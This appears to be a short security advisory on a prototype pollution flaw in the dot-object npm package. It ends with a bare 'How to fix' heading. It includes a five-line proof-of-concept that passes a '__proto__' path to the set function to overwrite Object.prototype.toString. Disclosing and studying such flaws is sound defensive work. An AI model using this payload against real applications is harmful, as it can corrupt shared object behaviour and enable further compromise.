Prototype Pollution

dot-object is a module that makes it possible to transform javascript objects using dot notation.

Affected versions of this package are vulnerable to Prototype Pollution. The set function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

PoC by JHU System Security Lab

var a = require("dot-object")
var path = "__proto__";
var val = {toString:"JHU"}
a.set(path,val,{},true);
console.log({}.toString);

How to fix Prototype Pollution?
